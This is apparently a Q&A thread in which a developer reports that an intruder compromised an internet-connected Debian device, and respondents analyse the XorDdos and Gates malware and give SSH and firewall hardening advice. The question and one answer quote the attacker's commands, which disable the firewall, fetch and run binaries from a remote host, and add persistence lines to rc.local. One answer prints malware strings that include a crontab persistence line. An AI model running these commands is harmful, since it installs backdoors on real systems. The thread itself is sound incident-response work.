Did I just get hacked?

Question

I am developing a consumer product, and it is supposed to be connected to the Internet, so as expected, it is connected to the Internet so that I can properly develop it.

I went away for an hour or two, and when I came back to my office I noticed some strange commands written in the terminal.

Looking at the Linux log file called auth.log I can see the following lines (amongst many more):

Feb  1 10:45:10 debian-armhf sshd[994]: pam_unix(sshd:auth): authentication failure; logname= uid=0 euid=0 tty=ssh ruser= rhost=40.127.205.162  user=root
Feb  1 10:45:12 debian-armhf sshd[994]: Failed password for root from 40.127.205.162 port 37198 ssh2
Feb  1 10:45:12 debian-armhf sshd[994]: Received disconnect from 40.127.205.162: 11: Bye Bye [preauth]

The IP address 40.127.205.162 turns out to be owned by Microsoft.

Here are a bunch of commands that were used while I was away:

  355  service iptables stop
  356  cd /tmp
  357  wget http://222.186.30.209:65534/yjz1
  358  chmod 0755 /tmp/yjz1
  359  nohup /tmp/yjz1 > /dev/null 2>&1 &
  360  chmod 777 yjz1
  361  ./yjz1
  362  chmod 0755 /tmp/yjz1
  363  nohup /tmp/yjz1 > /dev/null 2>&1 &
  364  chmod 0777 yjz1
  365  chmod u+x yjz1
  366  ./yjz1 &
  367  chmod u+x yjz1
  368  ./yjz1 &
  369  wget http://222.186.30.209:65534/yjz
  370  chmod 0755 /tmp/yjz
  371  nohup /tmp/yjz > /dev/null 2>&1 &
  372  chmod 777 yjz
  373  ./yjz
  374  chmod 0755 /tmp/yjz
  375  nohup /tmp/yjz > /dev/null 2>&1 &
  376  chmod u+x yjz
  377  ./yjz &
  378  chmod u+x yjz
  379  ./yjz &
  380  cd /tmp
  381  echo "cd  /tmp/">>/etc/rc.local
  382  service iptables stop
  383  cd /tmp
  384  wget http://222.186.30.209:65534/yjz1
  385  chmod 0755 /tmp/yjz1
  386  nohup /tmp/yjz1 > /dev/null 2>&1 &
  387  chmod 777 yjz1
  388  ./yjz1
  389  chmod 0755 /tmp/yjz1
  390  nohup /tmp/yjz1 > /dev/null 2>&1 &
  391  chmod u+x yjz1
  392  ./yjz1 &
  393  chmod 0777 yjz1
  394  ./yjz1 &
  395  echo "cd  /tmp/">>/etc/rc.local
  396  service iptables stop
  397  wget http://222.186.30.209:65534/yjz1
  398  chmod 0755 /root/yjz1
  399  nohup /root/yjz1 > /dev/null 2>&1 &
  400  chmod 777 yjz1
  401  ./yjz1
  402  chmod 0755 /root/yjz1
  403  nohup /root/yjz1 > /dev/null 2>&1 &
  404  chmod u+x yjz1
  405  ./yjz1 &
  406  chmod 0777 yjz1
  407  ./yjz1 &
  408  echo "cd  /root/">>/etc/rc.local
  409  cd /tmp
  410  service iptables stop
  411  wget http://222.186.30.209:65534/yjz1
  412  chmod 0755 /tmp/yjz1
  413  nohup /tmp/yjz1 > /dev/null 2>&1 &
  414  chmod 777 yjz1
  415  ./yjz1 &
  416  cd /etc
  417  echo "cd /root/">>/etc/rc.local
  418  echo "./yjz1&">>/etc/rc.local
  419  echo "./yjz1&">>/etc/rc.local
  420  echo "/etc/init.d/iptables stop">>/etc/rc.local
  421  cd /tmp
  422  service iptables stop
  423  wget http://222.186.30.209:65534/yjz1
  424  chmod 0755 /tmp/yjz1
  425  nohup /tmp/yjz1 > /dev/null 2>&1 &
  426  chmod 777 yjz1
  427  ./yjz1 &
  428  cd /etc
  429  echo "cd /root/">>/etc/rc.local
  430  echo "./yjz1&">>/etc/rc.local
  431  echo "./yjz1&">>/etc/rc.local
  432  echo "/etc/init.d/iptables stop">>/etc/rc.local
  433  cd /tmp
  434  service iptables stop
  435  wget http://222.186.30.209:65534/yjz1
  436  chmod 0755 /tmp/yjz1
  437  nohup /tmp/yjz1 > /dev/null 2>&1 &
  438  chmod 777 yjz1
  439  ./yjz1 &
  440  cd /etc
  441  echo "cd /root/">>/etc/rc.local
  442  echo "./yjz1&">>/etc/rc.local
  443  echo "./yjz1&">>/etc/rc.local
  444  echo "/etc/init.d/iptables stop">>/etc/rc.local
  445  service iptables stop
  446  wget http://222.186.30.209:65534/yjz1
  447  chmod 0755 /root/yjz1
  448  nohup /root/yjz1 > /dev/null 2>&1 &
  449  chmod 777 yjz1
  450  ./yjz1
  451  chmod 0755 /root/yjz1
  452  nohup /root/yjz1 > /dev/null 2>&1 &
  453  chmod 0777 yjz1
  454  chmod u+x yjz1
  455  ./yjz1 &
  456  chmod u+x yjz1
  457  ./yjz1 &

And more:

  481  service iptables stop
  482  wget http://222.186.30.209:65534/yjz1
  483  chmod 0755 /root/yjz1
  484  nohup /root/yjz1 > /dev/null 2>&1 &
  485  chmod 777 yjz1
  486  ./yjz1
  487  chmod 0755 /root/yjz1
  488  nohup /root/yjz1 > /dev/null 2>&1 &
  489  chmod 0777 yjz1
  490  chmod u+x yjz1
  491  ./yjz1 &
  492  chmod u+x yjz1
  493  ./yjz1 &
  494  cd /tmp
  495  service iptables stop
  496  wget http://175.102.133.55:2/yjz
  497  ./yd_cd/make
  498  service iptables stop
  499  service iptables stop
  500  wget http://222.186.30.209:65534/yjz1

I was completely unaware of this. How can I secure my product properly?

I would like to post the complete auth.log file. How do I do that?

Also, the file yjz1 that was downloaded seems to be a Linux Trojan and all of this seems to be done by some kind of hacker group according to http://anti-hacker-alliance.com/index.php?ip=40.127.205.162

Should I call Microsoft and talk to them? What should I do?

Answer 1

EDIT 2:

there is one good reason why this post is attracting so much attention: you managed to record the whole, live session of an intruder on your PC. This is very different from our everyday experience, where we deal with the discovery of the consequences of his actions and try to redress them. Here we see him at work, see him having some problems with establishing the backdoor, retrace his steps, work feverishly (perhaps because he was sitting at your desk, as suggested above, or perhaps, and in my opinion more likely, because he was unable to make his malware run on the system, read below), and try to deploy fully self-contained instruments of control. This is what security researchers witness daily with their honey traps. For me, this is a very rare chance, and the source of some amusement.

---

You have definitely been hacked. The evidence for this does not come from the snippet of the auth.log file you displayed, because this reports an unsuccessful login attempt, occurring over a short time span (two secs). You will notice that the second line states Failed password, while the third one reports a pre-auth disconnect: the guy tried and failed.

The evidence comes instead from the content of the two files http://222.186.30.209:65534/yjz and http://222.186.30.209:65534/yjz1 which the attacker downloaded onto your system.

The site is currently open to anyone to download them, which I did. I first ran file on them, which showed:

$ file y*
yjz:      ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.2.5, not stripped
yjz1:     ELF 32-bit LSB  executable, Intel 80386, version 1 (SYSV), statically linked, for GNU/Linux 2.6.9, not stripped

Then I brought them onto a 64-bit Debian VM I have; an examination of their content thru the strings command revealed much that was suspicious (reference to various well-known attacks, to commands to be substituted for, a script that was clearly used to set up a new service, and so on).

I then produced the MD5-hashes of both files, and fed them to Cymru's hash database to see whether they are known agents of malware. While yjz is not, yjz1 is, and Cymru reports a probability of detection by anti-virus software of 58%. It also states that this file was last seen some three days ago, so it is reasonably recent.

Running clamscan (part of the clamav package) on the two files I obtained:

$ clamscan y*
yjz: Linux.Backdoor.Gates FOUND
yjz1: Linux.Trojan.Xorddos FOUND

so we are now certain that standard Linux software can identify it.

What should you do?

Though rather new, neither system is very new, see this Jan. 2015 article on XorDdos, for instance. So most free packages should be able to remove it. You should try: clamav, rkhunter, chkrootkit. I have Googled around, and seen that they claim to be able to spot it. Use them to check on the predecessor's work, but after running these three programs you should be ready to go.

As for the larger question, what should you do to prevent future infections, Journeyman's answer is a good first step. Just keep in mind that it is an ongoing struggle, one that all of us (including me!) may very well have lost without even knowing it.

EDIT:

At Viktor Toth's (indirect) prompt, I would like to add a few comments. It is certainly true that the intruder encountered some difficulties: he downloads two distinct hacking tools, changes their permissions several times, restarts them several times, and tries many times to disable the firewall. It is easy to guess what is happening: he expects his hacking tools to open a communication channel toward one of his infected pcs (see later), and, when he does not see this new channel spring up on his control GUI, fears his hacking tool is being blocked by the firewall, so he repeats the installation procedure. I agree with Viktor Toth that this particular stage of his operation does not seem to bring the expected fruits, but I would like to encourage you very strongly not to underestimate the extent of the damage inflicted on your pc.

I provide here a partial output of strings yjz1:

etc/init.d/%s
/etc/rc%d.d/S90%s
--del
chkconfig
remove
update-rc.d
/etc/cron.hourly/gcc4.sh
/etc/rc.d/rc%d.d/S90%s
--add
defaults
/proc/%d/exe
/proc/self/exe
HOME=/
MYSQL_HISTFILE=/dev/null
#!/bin/sh
# chkconfig: 12345 90 90
# description: %s
### BEGIN INIT INFO
# Provides:             %s
# Required-Start:
# Required-Stop:
# Default-Start:        1 2 3 4 5
# Default-Stop:
# Short-Description:    %s
### END INIT INFO
case $1 in
start)
stop)
esac
sed -i '/\/etc\/cron.hourly\/gcc4.sh/d' /etc/crontab && echo '*/3 * * * * root /etc/cron.hourly/gcc4.sh' >> /etc/crontab
etc/init.d/%s
GET %s HTTP/1.1
%sHost: %s
POST %s HTTP/1.1
%sHost: %s
Content-Type: application/x-www-form-urlencoded
Content-Length: %d
%s%s
Accept: */*
Accept-Language: zh-cn
User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1;      TencentTraveler ; .NET CLR 1.1.4322)
Connection: Keep-Alive

This provides evidence of tampering with the services (in /etc/init.d and in /etc/rc.d), with crontab, with the history file of mysql, and a couple of files in proc which are links to bash (which suggests a custom-made fraudulent version of your shell has been planted). Then the program generates an HTTP request (to a Chinese-speaking site,

 Accept-Language: zh-cn

which gives substance to David Schwartz's comment above), which may create even more havoc. In the request, binaries (Content-Type: application/x-www-form-urlencoded) are to be downloaded to the attacked pc (GET) and uploaded to the controlling machine (POST). I could not establish what would be downloaded to the attacked pc, but, given the small size of both yjz and yjz1 (1.1MB and 600kB, repectively), I can venture to surmise that most of the files needed to cloak the rootkit, i.e. the altered versions of ls, netstat, ps, ifconfig,..., would be downloaded this way. And this would explain the attacker's feverish attempts to get this download going.

There is no certainty that the above exhausts all possibilities: we certainly lack part of the transcript (between lines 457 and 481) and we do not see a logout; furthermore, especially worrisome are lines 495-497,

cd /tmp;  ./yd_cd/make

which refer to a file we did not see downloaded, and which might be a compilation: if so, it means the attacker has (finally?) understood what the problem with his executables was, and is trying to fix it, in which case the attacked pc has gone for good. [In fact, the two versions of the malware which the attacker downloaded onto the hacked machine (and I onto my 64bit Debian VM) are for an unsuitable architecture, x86, while the name alone of the hacked-into pc gives away the fact that he was dealing with an arm architecture].

The reason why I wrote this edit is to urge you as strongly as possible either to comb your system with a professional instrument, or to re-install from scratch.

And, by the way, should this prove useful to anyone, this is the list of of the 331 IP addresses to which yjz tries to connect. This list is so large (and probably destined to become larger still) that I believe this is the reason for tampering with mysql. The list provided by the other backdoor is identical, which, I presume, is the reason for leaving such an important piece of information out in the open (I think the attacker did not wish to make the effort to store them in kernel format, so he put the whole list in a clear-text file, which is probably read-in by all of his backdoors, for whichever OS):

61.132.163.68
202.102.192.68
202.102.213.68
202.102.200.101
58.242.2.2
202.38.64.1
211.91.88.129
211.138.180.2
218.104.78.2
202.102.199.68
202.175.3.3
202.175.3.8
202.112.144.30
61.233.9.9
61.233.9.61
124.207.160.110
202.97.7.6
202.97.7.17
202.106.0.20
202.106.46.151
202.106.195.68
202.106.196.115
202.106.196.212
202.106.196.228
202.106.196.230
202.106.196.232
202.106.196.237
202.112.112.10
211.136.17.107
211.136.28.231
211.136.28.234
211.136.28.237
211.147.6.3
219.141.136.10
219.141.140.10
219.141.148.37
219.141.148.39
219.239.26.42
221.130.32.100
221.130.32.103
221.130.32.106
221.130.32.109
221.130.33.52
221.130.33.60
221.176.3.70
221.176.3.73
221.176.3.76
221.176.3.79
221.176.3.83
221.176.3.85
221.176.4.6
221.176.4.9
221.176.4.12
221.176.4.15
221.176.4.18
221.176.4.21
58.22.96.66
218.104.128.106
202.101.98.55
211.138.145.194
211.138.151.161
211.138.156.66
218.85.152.99
218.85.157.99
222.47.29.93
202.101.107.85
119.233.255.228
222.47.62.142
122.72.33.240
211.98.121.27
218.203.160.194
221.7.34.10
61.235.70.98
113.111.211.22
202.96.128.68
202.96.128.86
202.96.128.166
210.21.3.140
210.21.4.130
211.95.193.97
211.98.2.4
211.98.4.1
211.162.61.225
211.162.61.235
211.162.61.255
211.162.62.1
211.162.62.60
221.4.66.66
202.103.176.22
202.96.144.47
210.38.192.33
202.96.134.33
202.96.134.133
202.96.154.15
210.21.196.6
221.5.88.88
202.103.243.112
202.193.64.33
61.235.164.13
61.235.164.18
202.103.225.68
221.7.136.68
202.103.224.68
211.97.64.129
211.138.240.100
211.138.242.18
211.138.245.180
221.7.128.68
222.52.118.162
202.98.192.67
202.98.198.167
211.92.136.81
211.139.1.3
211.139.2.18
202.100.192.68
211.97.96.65
211.138.164.6
221.11.132.2
202.100.199.8
202.99.160.68
202.99.166.4
202.99.168.8
222.222.222.222
202.102.224.68
202.102.227.68
222.85.85.85
222.88.88.88
210.42.241.1
202.196.64.1
112.100.100.100
202.97.224.68
219.235.127.1
61.236.93.33
211.93.24.129
211.137.241.34
219.147.198.230
202.103.0.68
202.103.0.117
202.103.24.68
202.103.44.150
202.114.0.242
202.114.240.6
211.161.158.11
211.161.159.3
218.104.111.114
218.104.111.122
218.106.127.114
218.106.127.122
221.232.129.30
59.51.78.210
61.234.254.5
202.103.96.112
219.72.225.253
222.243.129.81
222.246.129.80
211.142.210.98
211.142.210.100
220.168.208.3
220.168.208.6
220.170.64.68
218.76.192.100
61.187.98.3
61.187.98.6
202.98.0.68
211.93.64.129
211.141.16.99
202.98.5.68
219.149.194.55
211.138.200.69
202.102.3.141
202.102.3.144
58.240.57.33
112.4.0.55
114.114.114.114
114.114.115.115
202.102.24.34
218.2.135.1
221.6.4.66
221.131.143.69
202.102.8.141
222.45.0.110
61.177.7.1
218.104.32.106
211.103.13.101
221.228.255.1
61.147.37.1
222.45.1.40
58.241.208.46
202.102.9.141
202.102.7.90
202.101.224.68
202.101.226.68
211.141.90.68
211.137.32.178
202.96.69.38
211.140.197.58
219.149.6.99
202.96.86.18
101.47.189.10
101.47.189.18
118.29.249.50
118.29.249.54
202.96.64.68
202.96.75.68
202.118.1.29
202.118.1.53
219.148.204.66
202.99.224.8
202.99.224.67
211.90.72.65
211.138.91.1
218.203.101.3
202.100.96.68
211.93.0.81
222.75.152.129
211.138.75.123
202.102.154.3
202.102.152.3
219.146.1.66
219.147.1.66
202.102.128.68
202.102.134.68
211.138.106.19
211.90.80.65
202.99.192.66
202.99.192.68
61.134.1.4
202.117.96.5
202.117.96.10
218.30.19.40
218.30.19.50
116.228.111.118
180.168.255.18
202.96.209.5
202.96.209.133
202.101.6.2
211.95.1.97
211.95.72.1
211.136.112.50
211.136.150.66
119.6.6.6
124.161.97.234
124.161.97.238
124.161.97.242
61.139.2.69
202.98.96.68
202.115.32.36
202.115.32.39
218.6.200.139
218.89.0.124
61.139.54.66
61.139.39.73
139.175.10.20
139.175.55.244
139.175.150.20
139.175.252.16
168.95.1.1
210.200.211.193
210.200.211.225
211.78.130.1
61.31.1.1
61.31.233.1
168.95.192.1
168.95.192.174
61.60.224.3
61.60.224.5
202.113.16.10
202.113.16.11
202.99.96.68
202.99.104.68
211.137.160.5
211.137.160.185
219.150.32.132
202.98.224.68
211.139.73.34
61.10.0.130
61.10.1.130
202.14.67.4
202.14.67.14
202.45.84.58
202.45.84.67
202.60.252.8
202.85.128.32
203.80.96.9
203.142.100.18
203.142.100.21
203.186.94.20
203.186.94.241
221.7.1.20
61.128.114.133
61.128.114.166
218.202.152.130
61.166.150.123
202.203.128.33
211.98.72.7
211.139.29.68
211.139.29.150
211.139.29.170
221.3.131.11
222.172.200.68
61.166.150.101
61.166.150.139
202.203.144.33
202.203.160.33
202.203.192.33
202.203.208.33
202.203.224.33
211.92.144.161
222.221.5.240
61.166.25.129
202.96.103.36
221.12.1.227
221.130.252.200
222.46.120.5
202.96.96.68
218.108.248.219
218.108.248.245
61.130.254.34
60.191.244.5
202.96.104.15
202.96.104.26
221.12.33.227
202.96.107.27
61.128.128.68
61.128.192.68
218.201.17.2
221.5.203.86
221.5.203.90
221.5.203.98
221.7.92.86
221.7.92.98

The following code

 #!/bin/bash
 echo 0 > out
 while read i; do
       whois $i | grep -m 1 -i country >> out
 done < filename
 cat out | grep -i cn | wc -l

on the above list shows that 302 out of a total 331 addresses are in mainland China, the remaining ones are in Hong Kong, Mongolia, Taiwan. This adds further support to David Schwartz's contention that this is mostly a Chinese bot ring.

EDIT 3

At @vaid's request (the author of the OP, read his comment below), I will add a comment about how to strengthen security of a basic Linux system (for a system providing many services, this is a far more complex topic). vaid states he did the following:

1. Reinstall the system

2. changed root password to a 16 character long password with mixed lower- and uppercase letters and characters and digits.

3. Changed the username to a 6 mixed character long username and applied the same password as used for root

4. changed SSH port to something above 5000

5. turned off SSH root login.

This is fine (except I use a port above 10,000 since many useful programs use the ports below 10,000). But I cannot emphasize enough the need to use cryptographic keys for ssh login, instead of passwords. I will give you a personal example. On one of my VPSes, I was uncertain whether to change the ssh port; I left it at 22, but used crypto keys for authentication. I had hundreds of break-in attempts per day, none succeeded. When, tired to check daily that no one had succeeded, I eventually switched the port to something above 10,000, break-in attempts went to zero. Mind you, it is not that hackers are stupid (they are not!), they just hunt down easier prey.

It is easy to activate a crypto key with RSA as a signature algorithm, see comment below by Jan Hudec (thanks!):

 cd; mkdir .ssh; chmod 700 .ssh; cd .ssh; ssh-keygen -t rsa (then hit <kbd>ENTER>/kbd> three times); cat id_rsa.pub >> authorized_keys; chmod 600 *

Now all you have to do is to copy the file id_rsa to the machine from which you want to connect (in a directory .ssh, also chmod'ed to 700), then issue the command

ssh -p YourChosenNonStandardPort -i ~/.ssh/id_rsa me@RemoteMachine

When you are sure that this works, edit on the server (=the machine you want to connect to) the file /etc/ssh/sshd_config, and change the line

#PasswordAuthentication yes

to

PasswordAuthentication no

and restart the ssh service (service ssh restart or systemctl restart ssh, or something like this, depending on distro).

This will withstand a lot. In fact, there are currently no known exploits against the current versions of openssh v2, and of RSA as employed by openssh v2.

Lastly, in order to really bolt down your machine, you will need to configure the firewall (netfilter/iptables) as follows:

 iptables -A INPUT -p tcp --dport YourChosenNonStandardPort -j ACCEPT
 iptables -A INPUT -m conntrack --ctstate ESTABLISHED,RELATED -j ACCEPT
 iptables -P INPUT DROP
 iptables -P OUTPUT ACCEPT
 iptables -A INPUT -i lo -j ACCEPT
 iptables -A OUTPUT -o lo -j ACCEPT

This, 1) allows ssh connections from both LAN and WAN, 2) allows all input which was originated by your requests (for instance, when you load a Web page), 3) drops everything else on the input, 4) allows everything on the output, and 5-6) allows everything on the loopback interface.

As your needs grow, and more ports need to be opened, you may do so by adding, at the top of the list, rules like:

 iptables -A INPUT -p tcp --dport 80 -j ACCEPT

to allow for instance people to access your Web browser.

Answer 2

Welcome to the Internet - where any open SSH server is likely going to get probed, brute-forced, and have various indignities inflicted upon it.

To start, you need to completely wipe the storage on the product. Image it if you want to pass it on for forensics, but the Linux install on it is now suspect.

Bit of guesswork but

1. You got brute-forced or use a common password. It's security by obscurity but you don't want a dictionary password or to use a root account open to SSH. Disable root SSH access if it's an option or at least change the name so they need to guess both. SSHing as root is terrible security practice anyhow. If you must use root, log in as another user and use su or sudo to switch.

2. Depending on the product, you might want to lock down SSH access in some way. A total lock-down sounds like a good idea, and allows users to open it up as needed. Depending on what resources you can spare, consider only allowing IP addresses in your own subnet, or some kind of login throttling system. If you don't need it on the final product make sure it's turned off.

3. Use a non standard port. Security by obscurity again, but it means an attacker needs to target your port.

4. Do not ever use a default password. The best approach I've seen is to randomly generate a password for a specific device and ship it with your product. Best practice is key based authentication, but I've no idea how you'd approach that on a mass market product.

Answer 3

Oh, you have been definitely hacked. Someone appears to have been able to gain root credentials and attempted to download a Trojan to your system. MariusMatutiae provided an analysis of the payload.

Two questions arise: a) Was the attacker successful? And b) what can you do about it?

The answer to the first question may be a no. Notice how the attacker repeatedly tries to download and run the payload, apparently without success. I suspect that something (SELinux, perchance?) stood in his way.

HOWEVER: The attacker also altered your /etc/rc.d/rc.local file, in the hope that when you restart your system, the payload will be activated. If you have not yet restarted the system, don't restart until you have removed these alterations from /etc/rc.d/rc.local. If you have already restarted it... well, tough luck.

As to what you can do about it: The safest thing to do is to wipe the system and reinstall from scratch. But this may not always be an option. A significantly less safe thing to do is to analyze exactly what happened and wipe every trace of it, if you can. Again, if you have not yet restarted the system, perhaps all it takes is clean /etc/rc.d/rc.local, remove anything downloaded by the attacker, and last but not least, change the darn password!

However, if the attacker was already able to run the payload, there may be other modifications to your system that may be difficult to detect. Which is why a complete wipe is really the only safe (and recommended) option. As you indicated, the equipment in question may be a test/development target so perhaps wiping it is not as painful as it may be in other cases.

Update: Notwithstanding what I wrote about a possible recovery, I wish to echo MariusMatutiae's very strong recommendation not to underestimate the potential damage caused by this payload and the extent to which it may have compromised the target system.

Answer 4

My sshd-honeypot has also seen this kind of attack. First Downloads from that URL started 2016-01-29 10:25:33 and attacks are still ongoing. Attacks are/were coming from

103.30.4.212
111.68.6.170
118.193.228.169

Input from these attackers was:

service iptables stop
wget http://222.186.30.209:65534/yjz1
nohup /root/yjz1 > /dev/null 2>&1 &
chmod 0777 yjz1
chmod u+x yjz1
./yjz1 &
chmod u+x yjz1
./yjz1 &
cd /tmp

So no activities other than installing the backdoor for later on.

Answer 5

Everyone here has offered solid advice, but to be clear, your priorities should be backing up and verifying what you truly need from that system, then wiping it with a fresh install from known-safe media.

Before you connect your newly installed host to the Internet, run through these ideas:

1. Create a new non-root user, and log in as that user. You should never need to login as root, just sudo (substitute user do) when needed.

2. Install SE Linux, configuration settings that enable mandatory access control: https://wiki.debian.org/SELinux/Setup

3. Consider a hardware firewall between your office/home and the Internet. I use MicroTik, which has excellent community support: http://routerboard.com/.

Assuming you are on a timeline for completing your paid work, at least do #1. #3 is fast, and cheap, but you'll either need to wait on the package in the mail, or drive to the store.

Answer 6

1. Is debian-armhf your hostname? Or do you use a default install with default settings? There is no problem with that, but you shouldn't allow the host to be directly exposed to the Internet (i.e. not protected by your modem, at least).

2. It looks like the real trouble is coming from 222.186.30.209 (see http://anti-hacker-alliance.com/index.php?ip=222.186.30.209). You shouldn't pay much heed to seeing Microsoft's IP. IPs can more or less be faked/spoofed rather easily.

3. A usual way to connect to the Internet is to forward a known list of ports from your public IP (e.g. 8.8.8.8) to your local (e.g. 192.168.1.12).

   • For instance, do not forward all incoming connections from 8.8.8.8 (public) to 192.168.1.12 (local).

   • Forward only ports 22 and 25 (ssh and incoming mail, respectively). You should, of course, have up-to-date ssh and smtp packages/libraries as well.

4. What's next? Disconnect the host, and change any passwords (on any computers associated with the organisation) that are hardcoded in shell scripts (shame on you!) in /etc/shadow.

Answer 7

As others stated, it's pretty clear the security of your server has been compromised. The safest thing is to wipe this machine and re-install.

To answer the second part of your question, if you can't use public key auth, I recommend at least setting up Fail2Ban and running SSH on a non-standard port. I also disable root SSH access.

Fail2Ban will help mitigate brute-force attacks by banning IP addresses that fail to log in a certain number of times.

Setting sshd to listen on a non-standard port will at least help reduce the visibility of your SSH server a tiny bit. Disabling root logon also reduces the attack profile slightly. In /etc/sshd_config:

PermitRootLogin no
Port xxxxx

With root login disabled you will need to either switch to root with su once you've connected, or (more preferably) use sudo to execute privileged commands.

Answer 8

SSH servers are constantly under attack on the internet. A couple of things you do:

1. Make sure you use a very secure random password, for internet accessible machines. I mean like 16 characters or more and completely random. Use a password manager so you don't have to memorize it. If you can memorize your password, it's too simple.

2. If you don't need SSH, turn it off. If you do need it, but don't need it publicly accessible, run it on a high, non-standard port number. Doing this will dramatically reduce hack attempts. Yes a dedicated hacker can do a port scan, but automated bots won't find it.

The snippet from your auth log shows a failed attempt. However if you look further you'll no doubt see a successful login. It you use a simple password, then it's trivial for a bot to get in.

You need to isolate this machine from the network. Very carefully get what you need off it, and then wipe it.

Answer 9

The first thing anyone/everyone should do after setting up a front-facing Linux/Unix server is to immediately disable root.

Your system was compromised. You have a running history log which might be cool to look at to an extent. But honestly dissecting the specifics is a bit nit-picky and won’t help you secure your server. It shows all kinds of nonsense that happens when botnet spawned malware—which is most likely what infected your server—infects a Linux system. The answer provided by @MariusMatutiae is nice and well thought out and there are others who repeat that you were hacked via root access which is a malware/botnet’s wet dream.

There are a few explanation on how to disable root but I will state from personal experience, most anything that goes beyond what I will describe right now is overkill. This is what you should have done when you first setup the server:

1. Create a new user with sudo rights: Create a new user with a new name—something like cooldude—using a command like sudo adduser cooldude if you are using Ubuntu or another type of Debian system. Then just manually edit the sudo file using a command like this sudo nano /etc/sudoers and add a line like cooldude ALL=(ALL:ALL) ALL beneath the equivalent line that should read root ALL=(ALL:ALL) ALL. With that done, login as cooldude and test the sudo command with a command like sudo w—something basic and non-destructive—to see if the sudo rights work. You might be prompted for a password. That works? All good! Move onto the next step.
2. Lock the root account: Okay, now that cooldude is in charge with sudo rights, login as cooldude and run this command to lock the root account sudo passwd -l root. If somehow you have have created an SSH key pair for root, open up /root/.ssh/authorized_keys and remove the keys. Or better yet, just rename that file authorized_keys_OFF like this, sudo mv /root/.ssh/authorized_keys /root/.ssh/authorized_keys_OFF to effectively disable the SSH keys. I prefer the later because on the off-hand chance you still need password less login, you can just move that file back to the original name and you should be good to go.

FWIW, I have managed dozens of Linux servers over the years (decades?) and know from experience that simply disabling root—and setting up a new user with sudo rights—is the simplest and most basic way to secure any Linux system. I’ve never had to deal with any type of compromise via SSH once root is disabled. And yes, you might see attempts to login via the auth.log but they are meaningless; if root is disabled then those attempts will never add up to anything. Just sit back and watch the attempts endlessly fail!